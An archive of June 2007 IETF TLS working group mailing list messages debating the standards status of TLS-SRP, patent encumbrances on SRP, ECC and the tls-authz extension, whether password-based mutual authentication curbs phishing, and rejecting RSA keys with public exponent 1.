> As a OpenSSL developer, I will oppose implementing authz in it unless
> the patent issue is resolved in a satisfactory manner.
> 
> Cheers,
> Richard
> 
> --
> Richard Levitte                         richard@levitte.org
>                                         http://richard.levitte.org/
> 
> "When I became a man I put away childish things, including
>  the fear of childishness and the desire to be very grown up."
> 						-- C.S. Lewis
> 
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls


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Pasi.Eronen@nokia.com wrote:
> Folks,
>
> The one remaining issue with TLS SRP is its intended status (Proposed
> Standard, Informational, or Experimental). I and Eric think we need
> more data to determine consensus here, so this message starts a
> two-week straw poll on this issue. (Our apologies that this has 
> taken so long; this poll should have been some time ago already.)
>
> The question is: Do you support advancing draft-ietf-tls-srp as 
> Proposed Standard? 
>
>    [ ] Yes.
>    [ ] I think Informational/Experimental is better.
>    [ ] I don't care about the status, just get it published.
>    [ ] Something else, please state:
>
> You may reply either on the list, or privately to the chairs.
I vote Yes.  Proposed Standard.
>
> Some points you may wish to consider, summarizing some of the
> arguments made earlier:
>
> - The document describing SRP-3 (not exactly the same 
>   algorithm as here), RFC 2945, is Proposed Standard.
RFC 2944, Telnet Authentication SRP is also proposed standard.
There are several commercial and open source implementations of RFC 2944
and RFC 2945. 
Those same parties are likely to add support for TLS-SRP as well.

Jeffrey Altman
Secure Endpoints Inc.


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_______________________________________________
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From tls-bounces@lists.ietf.org Mon Jun 04 23:48:13 2007
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Date: Mon, 04 Jun 2007 23:48:00 -0400
From: Jeffrey Altman <jaltman@secure-endpoints.com>
Organization: Secure Endpoints Inc.
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To: pgut001@cs.auckland.ac.nz
Subject: Re: [TLS] Straw poll on TLS SRP status
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Peter Gutmann wrote:
> <Pasi.Eronen@nokia.com> writes:
>
>> The question is: Do you support advancing draft-ietf-tls-srp as Proposed
>> Standard?
>>
>>   [ ] Yes.
>>   [X] I think Informational/Experimental is better.
>>   [ ] I don't care about the status, just get it published.
>>   [ ] Something else, please state:
>>
>> You may reply either on the list, or privately to the chairs.
>
> I'll reply publicly in order to provide a rationale: Arguments against it
> becoming a full standard are that this spec has been around for six years now
> without any significant implementations appearing (apologies to the authors of
> GnuTLS and TLS Lite :-).  
Commercial implementations are blocked while waiting for the RFC so that
the permanent cipher suite numbers can be assigned.
>
> So really the only deciding factor is the IP status.  The Lucent and
> especially the Phoenix IPR statements will be, in my experience, sufficient to
> scare off any commercial users (and by extension non-commercial users who have
> to worry about lawyers).  So although it'd be nice to see SRP deployed, I
> don't think the IP encumbrance will get it past Informational.  If it wasn't
> for that, my vote would be "Just get it published".
There are several commercial implementations of RFC 2944 and RFC 2945. 
The IPR statements and surrounding FUD were not sufficient to prevent
implementations for Telnet clients and servers.

Just publish the thing and let the market decide when to implement it.

Jeffrey Altman
Secure Endpoints Inc.



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IMO SRP provides a significant advantage.

I think point #2 in your scenario is a little overstated. Many users  
will look for the padlock. They may not check the authenticated  
server name, and they will fall for plausible variations, but it's  
relatively easy to educate them to look for the padlock.

SRP raises the bar, because once it's widespread, weird server names  
become meaningless. All you need to do is educate the user that you  
never enter passwords on a form, only in the browser special window.  
Browser makers can make visual clues that are hard to imitate in HTML  
to differentiate the password window from anything coming from the  
server. Think of the screen dimming that some Linux variations (like  
Ubuntu) give you when they ask for the administrator password.

That way, if the server is an illegitimate phishing server, it (1)  
doesn't get your password, and (2) fails authentication.

With SRP (whether directly in TLS or through EAP) you can reduce the  
requirements from the user to
  (1) make sure it's SSL (starts with https, colored yellow, padlock)
  (2) Only enter passwords in the password window, not on a form.

I think these two are learnable for the majority of users. Can't say  
the same for verifying server DN.

On Jun 4, 2007, at 10:17 PM, Kemp, David P. wrote:

> Peter,
>
> I don't see how either #1 or #2 would have much impact on phishing.
>
> Scenario:
> 1) Server-authenticated TLS to a phishing server with a plausible
>    variation on a targeted legitimate server name
> 2) User ignores padlock and other cert-related HMI information
>   (if the user actually checked the authenticated server name and
>    recoiled in horror if not as expected, then phishing would not
>    be a problem)
> 3) User authenticates with a) nothing, b) http basic auth, c) client
>    cert, or d) SRP - it doesn't matter which
> 4) Phishing server puts up a form that says: enter SSN, mother's
>    maiden name, and password.
>
> If someone is phishing for information to enable identity theft,
> then user authentication has no preventive benefit
> whatsoever.  If someone is phishing for passwords for online
> accounts, then the users who don't check server authentication
> are also unlikely to non-comply with a socially-engineered
> request to enter their password into a form.
>
> SRP might raise the bar on password phishing slightly, but not
> significantly.  And the bar on phishing for everything except
> a targeted server's password would not be raised at all.
>
> The way to prevent phishing is to make server authentication
> work.  Attacking this problem with client authentication is like
> driving screws with a hammer.  Any mechanism that permits the
> user to know his password is vulnerable to phishing.  And any
> password mechanism that is not vulnerable to phishing, like a browser
> module that invisibly generates random passwords for TLS
> authenticated web sites and only regurgitates a password to
> the site it was generated for, has the same operational issues
> as client certs (server needs to request password generation,
> user needs to carry p12s for portability to other machines, etc).
>
> Dave
>
>
> -----Original Message-----
> From: Peter Gutmann [mailto:pgut001@cs.auckland.ac.nz]
>
> Anyway, there are two solutions:
>
> 1. Sit back and wait for client certs to start working.  Hey, we've  
> been
>    waiting for fifteen-odd years already, they've gotta start  
> working at
> some
>    point, right?
>
> 2. Accept that username+password isn't going to go away (ever) and try
> and fix
>    it by providing a proper security mechanism for it (mutual-auth
> challenge-
>    response, for example).
>
> I'm going for #2, which would seriously impact phishing if properly
> implemented (admittedly it's not a silver bullet, but it'd seriously
> raise the
> bar for phishing attacks, which is a step in the right direction).
>
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
>


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From: Yoav Nir <ynir@checkpoint.com>
Subject: Re: [TLS] Straw poll on TLS SRP status
Date: Tue, 5 Jun 2007 08:59:54 +0300
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On Jun 5, 2007, at 1:58 AM, Tom Wu wrote:

> On Sun, 3 Jun 2007, Yoav Nir wrote:
>
>>
>> On Jun 2, 2007, at 10:08 AM, Tom Wu wrote:
>>
>>> Martin Rex:
>>>> The document status is pretty much the only "incentive" that the
>>>> IETF can put out for companies to slow down on their patents race
>>>> or at least to come up with reasonable licensing terms (i.e.  
>>>> royalty free
>>>> for Free and OpenSource software).
>>> Keep in mind that in the context of this discussion, Stanford  
>>> (SRP) and
>>> Lucent (EKE) are competitors.  Knocking down TLS-SRP from  
>>> Proposed to
>>> Informational/Experimental rewards the player that did not do the  
>>> "right"
>>> thing (free licensing) at the expense of the player that did the  
>>> "right"
>>> thing (Stanford).  The last thing you want to do is to create an  
>>> incentive
>>> for players to do an IPR "denial of service" on a competitor's  
>>> technology,
>>> since this encourages "patent race" behavior.
>>
>> It's not about punishing Stanford or rewarding Lucent. It's the  
>> question of whether or not you might get sued for implementing this.
>
> It _is_ precisely about punishment/reward - if you read the context of
> my comments, you'll see that I was addressing Martin Rex's point about
> the use of document status as incentive, and supplying information  
> about
> how the incentives would work in this particular case.

However, Martin is right, in that the incentive works. ECC has been  
slowed down significantly by Certicom's patent claims, both in  
standards and in implementations.  This has finally made Certicom  
issue a royalty-free license for use of ECC in IKE and TLS.

>
>> Perhaps, but we don't need to have the key mixed into the  
>> encryption keys of TLS. It should be good enough to have the  
>> server prove it has access to the SRP key.  This was the approach  
>> taken in IKEv2, and it should also be good for EAP-in-TLS.
>
> Handwaving with the word "should" is easy, but there still isn't a
> specific protocol that can be analyzed for security, or performance
> for that matter - if there is one D-H exchange for the session
> security keys and a separate key exchange for SRP, then you're
> already at close to a factor-of-two performance disadvantage
> compared to SRP-TLS.  It's not that I dislike EAP-in-TLS, but it's
> not entirely fair to compare a real standard versus some theoretical
> construct, especially if you always give the latter the benefit of
> the doubt before it gets exposed to real design and engineering
> tradeoffs.  This EAP discussion is a non-starter until someone
> actually puts forth a specific SRP-EAP-TLS proposal.

Strictly speaking, there is a specific protocol. The EAP-SRP draft is  
expired, but still available (maybe someone should pick up this effort)
http://tools.ietf.org/id/draft-ietf-pppext-eap-srp-03.txt
and the EAP-in-TLS draft is still current (though we are going to  
publish a newer version soon)
http://www.ietf.org/internet-drafts/draft-nir-tee-pm-00.txt

I agree, though, that this hasn't had the security analysis that was  
given to SRP-TLS.

I really have two concerns with SRP-TLS:
  1. It's usually not a good idea to provide two ways of doing the  
same thing. In this case, if the TLS library maker should support  
both EAP-SRP and SRP-TLS that complicates the security analysis of  
the library. The websites would probably want to support both.
  2. Unlike certificates, which only require verification, passwords  
actually need to be stored in some form or another on the  
authenticating server. EAP provides a method of separating the  
authentication server from the TLS server, which is IMO a good thing,  
and also reflects the way most organizations store handle their  
passwords. From reading SRP-TLS, it looks like the server has to do  
all the verifications itself. Of course, there might be a backend  
server, but the protocol and trust relationship between the backend  
server and the TLS server is not specified. In EAP, this is specified.

You are right about the performance disadvantage of EAP-in-TLS as  
compared to SRP-TLS, but that is mitigated by the fact that half the  
server-side work is done on the AAA server. The extra roundtrips in  
the protocol are somewhat more worrying, because they cannot be  
solved by throwing extra resources at the server.


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From: Tom Wu <tjw@CS.Stanford.EDU>
To: Yoav Nir <ynir@checkpoint.com>
Subject: Re: [TLS] Straw poll on TLS SRP status
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On Tue, 5 Jun 2007, Yoav Nir wrote:

> However, Martin is right, in that the incentive works. ECC has been slowed 
> down significantly by Certicom's patent claims, both in standards and in 
> implementations.  This has finally made Certicom issue a royalty-free license 
> for use of ECC in IKE and TLS.

Yup, and Stanford has issued a royalty-free license for SRP.  The only
remaining message to send is to competitors trying to do a denial-of-
service against it.  Making SRP-TLS Proposed would send the message
that this DoS attack doesn't work against the IETF, discouraging
"patent race" behavior.

> Strictly speaking, there is a specific protocol. The EAP-SRP draft is 
> expired, but still available (maybe someone should pick up this effort)
> http://tools.ietf.org/id/draft-ietf-pppext-eap-srp-03.txt
> and the EAP-in-TLS draft is still current (though we are going to publish a 
> newer version soon)
> http://www.ietf.org/internet-drafts/draft-nir-tee-pm-00.txt
>
> I agree, though, that this hasn't had the security analysis that was given to 
> SRP-TLS.
>
> I really have two concerns with SRP-TLS:
> 1. It's usually not a good idea to provide two ways of doing the same thing. 
> In this case, if the TLS library maker should support both EAP-SRP and 
> SRP-TLS that complicates the security analysis of the library. The websites 
> would probably want to support both.

I don't think the "complicates the security analysis" point is valid -
it is no more complicated than a TLS library that supports both client
certs and, say, PSK.  And as you point out yourself, there would be
many differences between the two that would make one or the other
preferable for a given server to support, so they're really not doing
the same thing.  In this case, there would be a clear tradeoff between
the advantages you cite for EAP versus the roundtrip, performance, and
possible security advantages of SRP-TLS.

Tom
-- 
Tom Wu
http://www-cs-students.stanford.edu/~tjw/

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From: "Ben Laurie" <benl@google.com>
To: "Eric Rescorla" <ekr@networkresonance.com>
Subject: Re: [TLS] Issue 30: Reject RSA public exponent 1
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On 6/3/07, Eric Rescorla <ekr@networkresonance.com> wrote:
> http://www3.tools.ietf.org/wg/tls/trac/ticket/30
>
> Nelson Bolyard writes:
>         Some time ago, mozilla was modified to detect and reject RSA
>         keys with public exponents equal to 1.  Presumably, the
>         readers of this list need no explanation of the implications
>         of such keys.
>
>         Now, mozilla users are encountering web sites whose certs have
>         such keys.  At least one public CA has apparently issued one
>         or more such certs.
>
>         I'm reporting this here to alert the readers of this list who
>         may wish to ensure that their implementations detect such
>         keys, and to suggest that perhaps the TLS RFC should
>         explicitly forbid the use of any public keys (RSA or
>         otherwise) that facilitate such weak encryption and/or
>         authentication by requiring implentations to detect and reject
>         them.
>
>
> My general feeling is that there are a broad category of "good crypto
> practices" issues that don't apply specifically to TLS. I'd love to
> see an RFC on them, but would rather not see them in TLS proper
> since they need to be duplicated in every crypto-using RFC.
>
> Proposed resolution: do nothing.

I'm wondering what the threat model is here? So, the guy who makes the
key gets you to transmit your data in the plain. But, regardless of
exponent value, if he wants to reveal your data all he need do is
decrypt it and reveal it.

Now, I'm sure you can construct some James Bond scenario where its a
good idea to reveal your victim's credit card number to a local
sniffer instead of the central server, but hey, we've got Tor and
anonymous remailers, anyone can hide their identity, so why bother?

> -Ekr
>
> _______________________________________________
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Subject: RE: [TLS] Issue 30: Reject RSA public exponent 1
Date: Tue, 5 Jun 2007 09:59:14 +0300
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Ben Laurie wrote:

> I'm wondering what the threat model is here? So, the guy who makes
> the key gets you to transmit your data in the plain. But, regardless
> of exponent value, if he wants to reveal your data all he need do is
> decrypt it and reveal it.

Based on Nelson's original email, it seems the threat model was not=20
an actively malicious attacker, but implementation and operational
mistakes: some key generation tool (mistakenly) generated keypairs
with public exponent 1, and some CA (mistakenly) issued valid certs
for them.

A TLS implementation could (and IMHO should) detect this mistake,=20
as Mozilla NSS now does... but the question is whether this check
should be mentioned in the TLS spec or not.=20

Perhaps the advice about this check could be combined with other
advice: e.g. the TLS implementation should (or even must) check
that DH group parameters are "good enough" (and reject attempts
to use e.g. 256-bit groups, unless this is really allowed by the
local policy).=20

Best regards,
Pasi

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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: DPKemp@missi.ncsc.mil, tls@ietf.org
Subject: RE: [TLS] Straw poll on TLS SRP status
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"Kemp, David P." <DPKemp@missi.ncsc.mil> writes:

>[...]
>3) User authenticates with a) nothing, b) http basic auth, c) client
>   cert, or d) SRP - it doesn't matter which
>4) Phishing server puts up a form that says: enter SSN, mother's
>   maiden name, and password.

With SRP, the user can't connect until the server's already proven knowledge
of the username and password, so the phisher can never even get to step 4.

>If someone is phishing for information to enable identity theft, then user
>authentication has no preventive benefit whatsoever.

SRP isn't user authentication, it's mutual authentication of client and
server.  So is TLS-PSK.

>The way to prevent phishing is to make server authentication work.

Exactly.  That's what TLS-PSK and TLS-SRP do.  Thankyou for supporting my
argument :-).

Peter.

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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: bmoeller@acm.org, ekr@networkresonance.com
Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys
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Eric Rescorla <ekr@networkresonance.com> writes:

>So, I'm no DH expert, but my understanding is that there are three common
>cases:
>
>1. Randomly generated p with no special structure
>2. Sophie-Germain primes where q is about p/2.
>3. DSA-style groups where q<<p.
>
>Only in the last case does carrying around q offer much benefit.
>
>Is this common enough that it's worth changing the spec? It was my
>understanding that we mostly encouraged people to use S-G primes in any case.

Use of S-G primes is mostly historical.  I use the Lim-Lee algorithm, which
both produces known-good (verifiable) DSA-style primes, and is extremely
efficient (far more so than anything that produces S-G primes).  Having an
ability to (optionally) specify DSA-style parameters would be a considerable
help.

(Actually I'd make them mandatory, but I suspect that'd get too many
complaints from existing users.  Mind you given the current low use of DH
compared to the near-universal RSA, it'd be nice to get implementors into good
habits early and require verifiable DSA-style parameters).

Peter.

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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: benl@google.com, Pasi.Eronen@nokia.com
Subject: RE: [TLS] Issue 30: Reject RSA public exponent 1
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<Pasi.Eronen@nokia.com> writes:

>Perhaps the advice about this check could be combined with other advice: e.g.
>the TLS implementation should (or even must) check that DH group parameters
>are "good enough" (and reject attempts to use e.g. 256-bit groups, unless
>this is really allowed by the local policy).

A problem with this is that it's almost impossible to get any consensus as to
what should and shouldn't be checked.  I played with this a few years ago and
showed it to a few crypto people and everyone had a different, generally
incompatible, checklist of things that needed to be checked.  In the end you
either end up with a huge shopping-list of often questionably-useful checks
(all of my checks are useful, everyone else's are superfluous and a waste of
implementation effort), or a more concise list that represents only one
person's idea of what's worth checking (all of my checks are useful, I'll
ignore everyone else's suggestions because they're superfluous and a waste of
implementation effort).

Overall I think (based on an attempt at doing it) that this is such an
incredible can of worms that you really, really don't want to open it.  If
anyone really wants to build a checklist, put up a web page or create a wiki
and see how the market reacts first.

Peter.

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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: tjw@CS.Stanford.EDU, tls@ietf.org, ynir@checkpoint.com
Subject: Re: [TLS] Straw poll on TLS SRP status
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Yoav Nir <ynir@checkpoint.com> writes:

>However, Martin is right, in that the incentive works. ECC has been slowed
>down significantly by Certicom's patent claims, both in standards and in
>implementations.  This has finally made Certicom issue a royalty-free license
>for use of ECC in IKE and TLS.

Note however that the TLS license is booby-trapped: You can implement TLS, but
you can't do certs with it.  This makes the "royalty-free license" more or
less useless.

(I haven't looked at the IKE one, but I'm guessing it's the same thing there).

Peter.


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Subject: Re: [TLS] Straw poll on TLS SRP status
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IIRC you can use certs, but the CA needs a license. In TLS it works  
pretty well, because usually a website gets a cert from someone on  
Explorer's list, so as long as they get a license, everyone is fine.

With IKE it's a little more booby-trapped, because lots of  
organizations issue their own certificates.

On Jun 5, 2007, at 10:42 AM, Peter Gutmann wrote:

> Yoav Nir <ynir@checkpoint.com> writes:
>
>> However, Martin is right, in that the incentive works. ECC has  
>> been slowed
>> down significantly by Certicom's patent claims, both in standards  
>> and in
>> implementations.  This has finally made Certicom issue a royalty- 
>> free license
>> for use of ECC in IKE and TLS.
>
> Note however that the TLS license is booby-trapped: You can  
> implement TLS, but
> you can't do certs with it.  This makes the "royalty-free license"  
> more or
> less useless.
>
> (I haven't looked at the IKE one, but I'm guessing it's the same  
> thing there).
>
> Peter.
>


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From tls-bounces@lists.ietf.org Tue Jun 05 04:25:18 2007
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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: pgut001@cs.auckland.ac.nz, ynir@checkpoint.com
Subject: Re: [TLS] Straw poll on TLS SRP status
In-Reply-To: <A15EC092-E43E-4BEC-AC6F-A9C1B0106AED@checkpoint.com>
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Yoav Nir <ynir@checkpoint.com> writes:

>In TLS it works pretty well, because usually a website gets a cert from
>someone on Explorer's list, so as long as they get a license, everyone is
>fine.

According to a SecuritySpace survey from a few years ago (discussed in Simson
Garfinkel's thesis), 58% of all SSL server certs in use today are invalid for
some reason (unknown CA, self-signed, expired, whatever).  "Not issued by a
recognised CA" covers about 30% of all SSL server certs.  There aren't any
figures available for opportunistic-encryption facilities like STARTTLS et al,
but I'd imagine it's closer to 100% there since opportunistic encryption more
or less by definition doesn't care about officially-sanctioned crypto.  So
"issued by a recognised CA" only starts to address a small corner of the
market.

In any case even if you do want to go with a recognised CA, how many
recognised CAs will actually issue you an ECC cert?  No matter how you look at
it, the Certicom "license" doesn't work.

Peter.


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From tls-bounces@lists.ietf.org Tue Jun 05 04:34:46 2007
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From: Yoav Nir <ynir@checkpoint.com>
Subject: Re: [TLS] Straw poll on TLS SRP status
Date: Tue, 5 Jun 2007 11:34:21 +0300
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
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It works well enough that the browsers have it now (at least IE), and  
also IKE implementations from several vendors including Microsoft.

When and if the likes of Verisign start issuing them remains to be  
seen, as well as when the rather ubiquitous Microsoft CA will begin  
to issue such certs.

On Jun 5, 2007, at 11:25 AM, Peter Gutmann wrote:

> Yoav Nir <ynir@checkpoint.com> writes:
>
>> In TLS it works pretty well, because usually a website gets a cert  
>> from
>> someone on Explorer's list, so as long as they get a license,  
>> everyone is
>> fine.
>
> According to a SecuritySpace survey from a few years ago (discussed  
> in Simson
> Garfinkel's thesis), 58% of all SSL server certs in use today are  
> invalid for
> some reason (unknown CA, self-signed, expired, whatever).  "Not  
> issued by a
> recognised CA" covers about 30% of all SSL server certs.  There  
> aren't any
> figures available for opportunistic-encryption facilities like  
> STARTTLS et al,
> but I'd imagine it's closer to 100% there since opportunistic  
> encryption more
> or less by definition doesn't care about officially-sanctioned  
> crypto.  So
> "issued by a recognised CA" only starts to address a small corner  
> of the
> market.
>
> In any case even if you do want to go with a recognised CA, how many
> recognised CAs will actually issue you an ECC cert?  No matter how  
> you look at
> it, the Certicom "license" doesn't work.
>
> Peter.
>


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From tls-bounces@lists.ietf.org Tue Jun 05 04:48:03 2007
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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: pgut001@cs.auckland.ac.nz, ynir@checkpoint.com
Subject: Re: [TLS] Straw poll on TLS SRP status
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Yoav Nir <ynir@checkpoint.com> writes:

>It works well enough that the browsers have it now (at least IE), and also
>IKE implementations from several vendors including Microsoft.

It's irrelevant what the software has built in, if no-one's using it then it
may as well not be there (that's just a paraphrasing of the prime directive of
security UI, "If the user doesn't understand your feature, it doesn't exist").
Certicom issued their "royalty-free license" for ECC in TLS last year some
time, and I still haven't seen any use of it by anyone outside the USG and its
dependents as part of the Suite B mandate.  Although I can't speak for vendors
like Microsoft, I would imagine their only reason for putting it in IE was for
that particular market (I've talked to non-MS developers and they've told me
that's the sole reason why they added it to their product).

(Again, I don't know about the IKE situation).

Anyway, this is all going off on a bit of a tangent...

Peter.


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Peter Gutmann wrote:
> <
> I'll reply publicly in order to provide a rationale: Arguments against it
> becoming a full standard are that this spec has been around for six years now
> without any significant implementations appearing (apologies to the authors of
> GnuTLS and TLS Lite :-).  
Sorry to disagree, since 3 years there exist also implementations for 
openssl and java,
the java one is used in jboss as far as I understand the manuals. 
Whether people use it,
who knows.
I got tired to follow each openssl version and maintain the patch, I 
understand that
the maintainers don't want to include the stuff before there is a stable 
status of
the specification. And seeing that ciphersuites had been reserved by 
IANA but not
the extension number, on 26.6.2006 I asked IANA

This discussion is the first time in 4 years that some almost technical 
discussion
takes place, at least.

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--------------ms050306070809050908000107--


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From tls-bounces@lists.ietf.org Tue Jun 05 05:52:08 2007
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From: Nikos Mavrogiannopoulos <nmav@gnutls.org>
To: tls@lists.ietf.org
Subject: Re: [TLS] Straw poll on TLS SRP status
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On Thursday 24 May 2007, Pasi.Eronen@nokia.com wrote:
> Folks,

> The one remaining issue with TLS SRP is its intended status (Proposed
> Standard, Informational, or Experimental). I and Eric think we need
> more data to determine consensus here, so this message starts a
> two-week straw poll on this issue. (Our apologies that this has
> taken so long; this poll should have been some time ago already.)
> The question is: Do you support advancing draft-ietf-tls-srp as
> Proposed Standard?
>
>    [ ] Yes.
>    [ ] I think Informational/Experimental is better.
>    [ ] I don't care about the status, just get it published.
>    [ ] Something else, please state:

I say Yes. I'll only comment on the IP status. SRP is a patented technology 
and the patent holder offers a free license for the patent. The only problem 
is that there are claims by competitive technology patent holders that their
patent applies to SRP. These are unproven claims. 

I see no reason not to move forward with this draft, based only on unproven 
claims made by companies that hold competitive technologies.

regards,
Nikos

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From tls-bounces@lists.ietf.org Tue Jun 05 08:33:01 2007
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From: Bodo Moeller <bmoeller@acm.org>
To: Dean Anderson <dean@av8.com>
Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07
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On Wed, May 30, 2007 at 07:25:05PM -0400, Dean Anderson wrote:
> On Tue, 29 May 2007, Mark Brown wrote:

>> 2) If it's been published or in use prior to RPS's patent filing, then=
 *any*
>> such method of verifying authorizations is "prior art", and can be use=
d with
>> tls-authz under the GUL.  There are a lot of prior specs in this area.=
..
>> And of course you're free to invent new verification methods, etc.  On=
ly one
>> method is reserved by RPS under the GUL.

> This is true of any patent, but it is always expensive to litigate.  My
> view (as you already know) is that your patent is entirely covered by
> prior art, is not novel, and therefore should not be issued by the PTO.=
 =20
> The PTO issues many such patents, however, despite efforts to identify
> prior art and obvious claims.

Be sure to note the exact wording of what Mark (as a co-inventor) is
saying.

He does not allege that there is a lot of prior art that RedPhone
Security is not seeking patent protection for.  (In fact, the
published patent application does not cite any prior art.)  Rather,
he is saying that RedPhone Security is intending to allow the use of
prior-art methods *with tls-authz* *under the General Use License*.

That is, the implicit claim here is that the combination of these
prior-art methods with tls-authz *is*, or may be, patent-protected.
(From an advocatus diaboli point of view: The prior-art verification
method in itself may be patent-free, but the Internet-Draft has been
designed to meet the requirements of whatever is novel in the patent
claim.)

As of the patent application (20060174323, filed September 23, 2005),
the inventors were claiming

   1. A method comprising: receiving a request to interact with a
      network resource provided by a second entity via a computer
      network; receiving assurances via the network that a first
      entity has authorized an agent to send the request to the second
      entity on behalf of the first entity; and complying with the
      request subject to acceptance of the assurances.=20

  25. A computer readable medium comprising computer readable
      instructions that cause a processor to: receive one or more
      agent instructions sent to a second entity from an agent via a
      computer network; receive assurances via the network that a
      first entity has authorized the agent to send the one or more
      agent instructions to the second entity on behalf of the first
      entity; and comply with the one or more agent instructions
      subject to acceptance of the assurances.

  29. A method comprising: sending a request to interact with a
      network resource to a second entity via a network; sending
      assurances to the second entity via the network that a first
      entity has authorized an agent to send the request to the second
      entity on behalf of the first entity; and receiving a response
      complying with the request subject to acceptance of the request
      and the assurances by the second entity.

  45. A computer readable medium comprising computer readable
      instructions that cause a processor to: send one or more agent
      instructions to a second entity from an agent via a network;
      send assurances to the second entity via the network that a
      first entity has authorized the agent to send the one or more
      agent instructions on behalf of the first entity; and receive a
      response complying with the one or more agent instructions
      subject to acceptance of the assurances by the second entity.=20

  49. A system comprising: a local directory server that sends request
      from a second entity from an agent via a network and sends
      assurances to the second entity via the network that the first
      entity has authorized the agent to send the request on behalf of
      the first entity; and a remote directory server that receives
      the request and receives the assurances, wherein the remote
      directory server complies with the request subject to acceptance
      of the assurances.=20

(These are the independent claims only -- of course there's a number
of more restrictive dependent claims.)

Any of this would be covered by the patent.  Those who agree to the
conditions of the GUL would be able to obtain a royalty-free patent
license from RedPhone Security allowing them to implement everything
except certain Protected Assurance System (PAS) functions (the license
immediately being revoked if they implement and release any of the PAS
functions without having obtained a PAS license).  The conditions
include granting reciprocal licenses, and avoiding any of the
following:

    Protected Assurance System (PAS) Functions

    1. To validate certificates, including, without limitation,
       Certificates or Attribute Certificates containing "critical"
       certificate policies using Object Identifiers within an arc
       registered to RedPhone Security
       (e.g. iso.org.dod.internet.private.enterprise.23106)

    2. To store Agreements and locate Agreements based on assurances
       received from a sender.  (Agreements are defined below in
       Schedule A)

    3. To compare the sender of assurances to a stored collection of
       Agreement signers.

    4. To sign ("countersign") assurances received from a sender via
       the Protocol after verifying that the sender=A2s digital
       signature over those assurances is correct.

    https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D833

Mark has carefully avoided explicitly discussing whether there is
prior art for claim 1.  Of course, he knows more about the current
fate of the patent application than we do -- and he has *not* implied
that claim 1 has been amended to make it more specific than the known
claim from the published application.  Possibly he has become aware of
prior art since filing the patent application, but it is entirely
possible that the patent will be granted with claim 1 as filed.


I wouldn't want to see such an IPR-laden protocol put on Standards
Track unless there are compelling reasons (and I don't see compelling
reasons to do so in this case).  The IPR holders are *not* saying that
uninfringing use will be possible with the patent that they intend to
obtain -- rather, they expect *anyone* implementing the specification
to obtain a license for it (which may be royalty-free, but imposes a
number of conditions in exchange).



[...]
> Another problem with the GUL is that you must agree to not implement PA=
S
> functions.  Why is this bad? Why the FUD to scare people into licensing
> quickly?  Here's why:
>=20
> Even if you later stop using authz-extns (say because we design a
> non-patented alternative), this agreement may still be valid, and it ma=
y
> be difficult to get out of it---And then you won't be able to implement
> PAS functions (well, not without paying RPS or its successors).  So,
> executing the agreement may worse even than the patent.  So, it is
> probably better to stop using the patented protocol immediately, and pa=
y
> cash damages _if_ RPS presses for reparation for the (short) unlicensed
> use.
>=20
> What to do?
>=20
> It can't be ignored that a patent may issue on the authz-extns draft. =20
> Implementers who have already implemented authz-extns should remove the
> implementation from distribution immediately.  They now have notice of
> possible infringement. They should even remove old versions containing
> implmentations, and they should notify their users of the likely
> infringement and inform their users they should stop using the (likely)=
 =20
> patented code. You should look closely at the PAS functions and the
> license agreement and think about at least the next 21 years, and
> possibly forever, before you sign the agreement.
>=20
> Don't forget to tell the IESG that you don't want this protocol
> standardized.


>> Since nobody knows precisely which RPS patent claims will issue,
>> executing a GUL may help to alleviate concerns right now.  The
>> RedPhone Security GUL amounts to a way to guarantee for yourself that
>> Sending any "prior art" SAML / AC assertions over TLS will be
>> royalty-free.  On the whole it's your choice to use the GUL or not.

> Using prior art to create an alternative to authz-extns ensures that no
> patents will issue that encumber the standard.  I favor a new draft,
> based entirely on prior art.

Agreed.



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Subject: RE: [TLS] Straw poll on TLS SRP status
Date: Tue, 5 Jun 2007 09:42:48 -0400
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From: "Kemp, David P." <DPKemp@missi.ncsc.mil>
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A client-cert-authenticated TLS session cannot be established without
validating the cert either.  However, I assume a phishing site would
be designed to make it as easy as possible for the user to connect,
not more difficult, which means the server would not negotiate SRP, PSK,
or client certs before putting up the form.

I believe some users could be trained to never enter passwords into
a web site unless a special local screen effect is used, but that
would require every passworded site on the web to use PBE.  But even
if that happened, I don't believe my mom, or the majority of non Ubuntu
users, could be trained to resist the pitch "PayPal(tm) is changing for
the better!  Come experience our fresh new look at www.newpaypal.com".

I'm not saying strong user authentication with PBE (SRP, EKE, etc) is a
bad idea.  I'm just saying that phish prevention is not a very effective
justification for it, because 1) the bad guys aren't going to use it,
and 2) PBE can't prevent the other gazillion ways of socially
engineering information out of marks (er, users).

Dave



-----Original Message-----
From: pgut001 [mailto:pgut001@cs.auckland.ac.nz]=20
Sent: Tuesday, June 05, 2007 3:00 AM
To: Kemp, David P.; tls@ietf.org
Subject: RE: [TLS] Straw poll on TLS SRP status

"Kemp, David P." <DPKemp@missi.ncsc.mil> writes:

>[...]
>3) User authenticates with a) nothing, b) http basic auth, c) client
>   cert, or d) SRP - it doesn't matter which
>4) Phishing server puts up a form that says: enter SSN, mother's
>   maiden name, and password.

With SRP, the user can't connect until the server's already proven
knowledge
of the username and password, so the phisher can never even get to step
4.

>If someone is phishing for information to enable identity theft, then
user
>authentication has no preventive benefit whatsoever.

SRP isn't user authentication, it's mutual authentication of client and
server.  So is TLS-PSK.

>The way to prevent phishing is to make server authentication work.

Exactly.  That's what TLS-PSK and TLS-SRP do.  Thankyou for supporting
my
argument :-).

Peter.

_______________________________________________
TLS mailing list
TLS@lists.ietf.org
https://www1.ietf.org/mailman/listinfo/tls



From tls-bounces@lists.ietf.org Tue Jun 05 10:18:08 2007
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From: Eric Rescorla <ekr@networkresonance.com>
To: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Subject: Re: [TLS] Issue 30: Reject RSA public exponent 1
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At Tue, 05 Jun 2007 19:36:10 +1200,
Peter Gutmann wrote:
> 
> <Pasi.Eronen@nokia.com> writes:
> 
